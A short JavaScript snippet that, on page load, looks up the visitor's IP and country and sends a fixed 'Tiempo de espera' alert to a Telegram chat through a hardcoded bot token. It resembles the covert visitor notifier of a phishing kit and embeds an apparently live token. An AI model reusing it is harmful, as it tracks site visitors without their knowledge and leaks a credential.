const telegramToken = "7813132134:AAHFYXWtkyOV2DZYH5DokYjRd66etnt490A"; const telegramChatId = "-4636870305 "; function enviarMensajeTelegram(mensaje) { const url = `https://api.telegram.org/bot${telegramToken}/sendMessage`; axios.post(url, { chat_id: telegramChatId, text: mensaje }) .then(response => { console.log("Mensaje enviado a Telegram"); }) .catch(error => { console.error("Error al enviar mensaje a Telegram:", error); }); } window.addEventListener("DOMContentLoaded", function() { fetch('https://ipapi.co/json/') .then(response => response.json()) .then(data => { const ip = data.ip; const pais = data.country_name; const mensajeAlerta = `Tiempo de espera`; setTimeout(() => { enviarMensajeTelegram(mensajeAlerta); }, 1000); }); });